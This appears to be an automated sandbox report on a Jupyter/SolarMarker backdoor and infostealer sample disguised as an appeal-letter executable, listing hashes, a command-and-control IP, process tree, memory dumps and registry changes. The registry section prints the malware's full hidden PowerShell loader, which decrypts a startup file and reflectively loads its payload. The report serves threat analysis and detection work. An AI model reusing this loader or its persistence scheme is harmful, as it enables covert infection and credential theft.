jupyter | 39787d4b45d431380f24bb2c2e505ce1cd369ddc84629f295df892910d0d4e2e

Resubmissions

27-06-2022 16:40

220627-t6sw2scder 10

01-06-2022 19:48

220601-yjgmqabdg4 10

Analysis

max time kernel
302s
max time network
286s
platform
windows10_x64
resource
win10-20220414-en
submitted
01-06-2022 19:48

Sharing

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General

Target

Gifted-And-Talented-Appeal-Letter-Sample (1).exe
Size

265.0MB
MD5

9113ce41a5c257d8fc3cd740bcb63c08
SHA1

b5a27bd5ef4349580f381e8dec5bd78ecfc9c542
SHA256

39787d4b45d431380f24bb2c2e505ce1cd369ddc84629f295df892910d0d4e2e
SHA512

8a44926c6a67b38481339d44d7665e771bfae2b58d71908a3d3c1783e0b814b1650bce9a06bb62bd334c8fa0a6eaec4d929e4625955749bee383d6651d87359b

Score

10^/10

jupyter backdoor stealer trojan

Malware Config

Extracted

Family

jupyter

http://146.70.71.174

Signatures

Jupyter, SolarMarker
Jupyter is a backdoor and infostealer first seen in mid 2020.
backdoor trojan stealer jupyter

Executes dropped EXE 1 IoCs

pid	Process
2156	Basiradial.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qTuPXyjTpXnQ.MOssCzetxPVw	Gifted-And-Talented-Appeal-Letter-Sample (1).exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry class 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3578829114-180201921-3281645608-1000_Classes\ecmlzelggcmjcluxbpdwbtqczvz\shell\open	Gifted-And-Talented-Appeal-Letter-Sample (1).exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3578829114-180201921-3281645608-1000_Classes\ecmlzelggcmjcluxbpdwbtqczvz\shell\open\command\ = "powershell -windowstyle hidden -command \"$AC=New-Object System.Security.Cryptography.AesCryptoServiceProvider;$AC.Key=[Convert]::FromBase64String('PZ2z5Y3u0jdChqecGRWPr4ivKtZu3Z+hkY5hf1X8fOM=');$EB=[Convert]::FromBase64String([IO.File]::ReadAllText([System.Text.Encoding]::Utf8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxxVHVQWHlqVHBYblEuTU9zc0N6ZXR4UFZ3'))));$AC.IV = $EB[0..15];$Decryptor=$AC.CreateDecryptor();$UB=$Decryptor.TransformFinalBlock($EB, 16, $EB.Length-16);$AC.Dispose();[Reflection.Assembly]::Load($UB);[SOYSDdMTA5MzSGO7kyKXM7CJhfH19qETaAs3weTq__MfajC9_zN6Bo3YXknellj7BoL_Yr.Db9v1dgJwoTx1sEzwPxo74Kt7UKHYzj6sRNbthoF]::U7u1m3V0ZwHV1ZZVOpYWmj();\""	Gifted-And-Talented-Appeal-Letter-Sample (1).exe
Key created	\REGISTRY\USER\S-1-5-21-3578829114-180201921-3281645608-1000_Classes\.mossczetxpvw	Gifted-And-Talented-Appeal-Letter-Sample (1).exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3578829114-180201921-3281645608-1000_Classes\.mossczetxpvw\ = "ecmlzelggcmjcluxbpdwbtqczvz"	Gifted-And-Talented-Appeal-Letter-Sample (1).exe
Key created	\REGISTRY\USER\S-1-5-21-3578829114-180201921-3281645608-1000_Classes\ecmlzelggcmjcluxbpdwbtqczvz\shell\open\command	Gifted-And-Talented-Appeal-Letter-Sample (1).exe
Key created	\REGISTRY\USER\S-1-5-21-3578829114-180201921-3281645608-1000_Classes\ecmlzelggcmjcluxbpdwbtqczvz	Gifted-And-Talented-Appeal-Letter-Sample (1).exe
Key created	\REGISTRY\USER\S-1-5-21-3578829114-180201921-3281645608-1000_Classes\ecmlzelggcmjcluxbpdwbtqczvz\shell	Gifted-And-Talented-Appeal-Letter-Sample (1).exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
996	Gifted-And-Talented-Appeal-Letter-Sample (1).exe
996	Gifted-And-Talented-Appeal-Letter-Sample (1).exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	996	Gifted-And-Talented-Appeal-Letter-Sample (1).exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 3696 wrote to memory of 2156	3696	Gifted-And-Talented-Appeal-Letter-Sample (1).exe	66
PID 3696 wrote to memory of 2156	3696	Gifted-And-Talented-Appeal-Letter-Sample (1).exe	66
PID 3696 wrote to memory of 2156	3696	Gifted-And-Talented-Appeal-Letter-Sample (1).exe	66
PID 3696 wrote to memory of 996	3696	Gifted-And-Talented-Appeal-Letter-Sample (1).exe	67
PID 3696 wrote to memory of 996	3696	Gifted-And-Talented-Appeal-Letter-Sample (1).exe	67

C:\Users\Admin\AppData\Local\Temp\Gifted-And-Talented-Appeal-Letter-Sample (1).exe
"C:\Users\Admin\AppData\Local\Temp\Gifted-And-Talented-Appeal-Letter-Sample (1).exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3696
- C:\Users\Admin\AppData\Local\Temp\Basiradial.exe
  "C:\Users\Admin\AppData\Local\Temp\Basiradial.exe"
  2⤵
  - Executes dropped EXE
  PID:2156
- C:\Users\Admin\AppData\Local\Temp\Gifted-And-Talented-Appeal-Letter-Sample (1).exe
  "C:\Users\Admin\AppData\Local\Temp\Gifted-And-Talented-Appeal-Letter-Sample (1).exe" /s
  2⤵
  - Drops startup file
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:996

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Basiradial.exe

Filesize
997KB

MD5
dbc534854dd385e59a3f1906ddfb9020

SHA1
2b3062d82232ce10a8713829199769ff0d12e0fc

SHA256
06486febb76aaa7bf469ba1bf46a92c4eafc42a5626646184e8865c862d09dd0

SHA512
1506fbc8fca0a3ca06e24fdae2fb9e8cb345fd6197f5cbbaa990490cc20a25b72906ab9668725f29c0bfce6528bd7dca5dc15ca0ac3c0327d1876e58e3d47951

Download Submit
C:\Users\Admin\AppData\Local\Temp\Basiradial.exe

Filesize
997KB

MD5
dbc534854dd385e59a3f1906ddfb9020

SHA1
2b3062d82232ce10a8713829199769ff0d12e0fc

SHA256
06486febb76aaa7bf469ba1bf46a92c4eafc42a5626646184e8865c862d09dd0

SHA512
1506fbc8fca0a3ca06e24fdae2fb9e8cb345fd6197f5cbbaa990490cc20a25b72906ab9668725f29c0bfce6528bd7dca5dc15ca0ac3c0327d1876e58e3d47951

Download Submit
memory/996-201-0x00007FFB07590000-0x00007FFB076BA000-memory.dmp

Filesize
1.2MB

Download
memory/996-200-0x0000014AA4340000-0x0000014AA4BCC000-memory.dmp

Filesize
8.5MB

Download
memory/996-199-0x00007FFAF5120000-0x00007FFAF70E4000-memory.dmp

Filesize
31.8MB

Download
memory/996-198-0x00007FFB10140000-0x00007FFB101A0000-memory.dmp

Filesize
384KB

Download
memory/996-197-0x00007FFB08C50000-0x00007FFB08D25000-memory.dmp

Filesize
852KB

Download
memory/996-196-0x00007FFB07590000-0x00007FFB076BA000-memory.dmp

Filesize
1.2MB

Download
memory/996-195-0x00007FFB07BF0000-0x00007FFB07D4F000-memory.dmp

Filesize
1.4MB

Download
memory/996-194-0x00007FFB07D50000-0x00007FFB07EAE000-memory.dmp

Filesize
1.4MB

Download
memory/996-193-0x0000014AA4340000-0x0000014AA4BCC000-memory.dmp

Filesize
8.5MB

Download
memory/996-192-0x00007FFAF3B00000-0x00007FFAF443D000-memory.dmp

Filesize
9.2MB

Download
memory/996-191-0x00007FFB09460000-0x00007FFB094F5000-memory.dmp

Filesize
596KB

Download
memory/996-189-0x00007FFB09800000-0x00007FFB0989B000-memory.dmp

Filesize
620KB

Download
memory/996-190-0x00007FFB0C8F0000-0x00007FFB0C94F000-memory.dmp

Filesize
380KB

Download
memory/996-188-0x00007FFB090A0000-0x00007FFB092D0000-memory.dmp

Filesize
2.2MB

Download
memory/996-187-0x00007FFAF4440000-0x00007FFAF511E000-memory.dmp

Filesize
12.9MB

Download
memory/996-186-0x0000014AA4DD0000-0x0000014AA4E88000-memory.dmp

Filesize
736KB

Download
memory/996-185-0x00007FFB0CA80000-0x00007FFB0CB26000-memory.dmp

Filesize
664KB

Download
memory/996-184-0x00007FFB0CDE0000-0x00007FFB0CE0C000-memory.dmp

Filesize
176KB

Download
memory/996-183-0x00007FFAF5120000-0x00007FFAF70E4000-memory.dmp

Filesize
31.8MB

Download
memory/996-142-0x00007FFAF8780000-0x00007FFAF9D08000-memory.dmp

Filesize
21.5MB

Download
memory/996-182-0x0000014A8BB90000-0x0000014A8BC06000-memory.dmp

Filesize
472KB

Download
memory/996-181-0x0000014A8B980000-0x0000014A8B9A2000-memory.dmp

Filesize
136KB

Download
memory/996-149-0x00007FFAF7B40000-0x00007FFAF877F000-memory.dmp

Filesize
12.2MB

Download
memory/996-155-0x00007FFAF70F0000-0x00007FFAF7B40000-memory.dmp

Filesize
10.3MB

Download
memory/2156-161-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-173-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-148-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-150-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-151-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-152-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-153-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-154-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-156-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-157-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-158-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-159-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-160-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-146-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-162-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-163-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-164-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-165-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-166-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-167-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-168-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-169-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-145-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-144-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-170-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-171-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-172-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-147-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-174-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-176-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-175-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-178-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-180-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-179-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-177-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-131-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-143-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-141-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-140-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-125-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-127-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-128-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-129-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-130-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-133-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-139-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-137-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/2156-136-0x0000000077820000-0x00000000779AE000-memory.dmp

Filesize
1.6MB

Download
memory/3696-119-0x000001E4931C0000-0x000001E49344C000-memory.dmp

Filesize
2.5MB

Download
memory/3696-120-0x00007FFAF8780000-0x00007FFAF9D08000-memory.dmp

Filesize
21.5MB

Download
memory/3696-121-0x00007FFAF7B40000-0x00007FFAF877F000-memory.dmp

Filesize
12.2MB

Download
memory/3696-122-0x00007FFAF70F0000-0x00007FFAF7B40000-memory.dmp

Filesize
10.3MB

Download
memory/3696-138-0x00007FFAF70F0000-0x00007FFAF7B40000-memory.dmp

Filesize
10.3MB

Download
memory/3696-134-0x00007FFAF7B40000-0x00007FFAF877F000-memory.dmp

Filesize
12.2MB

Download
memory/3696-132-0x00007FFAF8780000-0x00007FFAF9D08000-memory.dmp

Filesize
21.5MB

Download